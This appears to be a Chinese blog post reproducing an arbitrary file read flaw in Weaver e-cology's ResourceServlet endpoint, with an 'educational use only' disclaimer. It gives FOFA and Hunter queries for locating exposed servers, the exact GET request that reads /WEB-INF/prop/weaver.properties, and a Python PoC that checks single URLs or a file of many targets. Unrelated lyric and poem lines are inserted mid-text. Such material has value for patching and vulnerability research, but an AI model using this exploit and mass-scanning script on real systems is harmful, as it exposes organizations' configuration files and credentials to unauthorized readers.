【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公解决方案。其resourceservlet接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集

fofa:app="泛微-OA(e-cology)"

hunter:app.name="泛微 e-Cology协同商务系统"

隔着人潮呼救像只困兽,呼吸颤抖去泪流,去相拥。

2)构造数据包

python 复制代码
GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
Host:ip

代码解释:

python 复制代码
org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties

这个payload是一个Web应用程序中的URL请求路径,它用于访问Spring框架中的ResourceServlet来获取资源。下面是对这个payload的分析:

  1. org.springframework.web.servlet.ResourceServlet:这是Spring框架中的一个Servlet类,ResourceServlet用于处理静态资源的请求。

  2. ?resource=/WEB-INF/prop/weaver.properties:这是一个查询参数,指定了要请求的资源路径。在这个例子中,它指向了/WEB-INF/prop/weaver.properties路径。

    • /WEB-INF/:这是Java EE规范中定义的一个目录,用于存放Web应用程序的类、配置文件等资源,通常不对客户端直接暴露。
    • /prop/:这是一个自定义的目录,用于存放属性文件或配置文件。
    • weaver.properties:这是一个属性文件,可能包含了应用程序的配置信息。

如果这个payload能够被执行,它可能暴露了应用程序的敏感配置信息,因为/WEB-INF/目录通常不应该对客户端可见。

回显包含配置信息,存在任意文件读取漏洞。

测试工具

poc

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在泛微OA E-Cology资源读取漏洞。
    
    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL,尝试读取敏感文件
        attack_url = url.rstrip('/') + "/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"
  
        # 发送GET请求并忽略证书验证
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码和内容,确认漏洞存在
        if response.status_code == 200 and 'ecology' in response.text:
            print(f"{RED}URL [{url}] 泛微OA E-Cology resourceservlet 文件读取漏洞。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 请求异常处理
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    parser = argparse.ArgumentParser(description='检查目标URL是否存在泛微OA E-Cology resourceservlet 文件读取漏洞。')
    parser.add_argument('-u', '--url', help='指定目标URL')
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)
    elif args.file:
        # 处理文件参数,读取文件中的每个URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图


滚滚长江东逝水,浪花淘尽英雄。

相关推荐
WHOAMI_老猫12 天前
渗透实战:绕过沙箱机制的反射型XSS
javascript·渗透测试·靶场·教程·xss
独行soc13 天前
2025年渗透测试面试题总结-2025年HW(护网面试) 02(题目+回答)
linux·科技·安全·面试·职场和发展·渗透测试·区块链
网络安全工程师老王14 天前
DOM型XSS深度渗透实战
网络安全·渗透测试·xss
独行soc15 天前
2025年渗透测试面试题总结-渗透测试工程师(题目+回答)
linux·科技·安全·网络安全·职场和发展·渗透测试·区块链
(天津)鸿萌数据安全16 天前
渗透测试: 主动全面深入地测试企业网络安全, 防范千里之堤毁于蚁穴
网络安全·渗透测试
qq_2430507919 天前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(三)
linux·网络安全·黑客·渗透测试·模糊测试·kali linux·黑客工具
qq_2430507920 天前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(一)
linux·web安全·网络安全·黑客·渗透测试·模糊测试·kali linux
WHOAMI_老猫20 天前
xss注入遇到转义,html编码绕过了解一哈
javascript·web安全·渗透测试·xss·漏洞原理
独行soc20 天前
2025年渗透测试面试题总结-字节跳动[实习]安全研发员(题目+回答)
linux·科技·安全·面试·职场和发展·渗透测试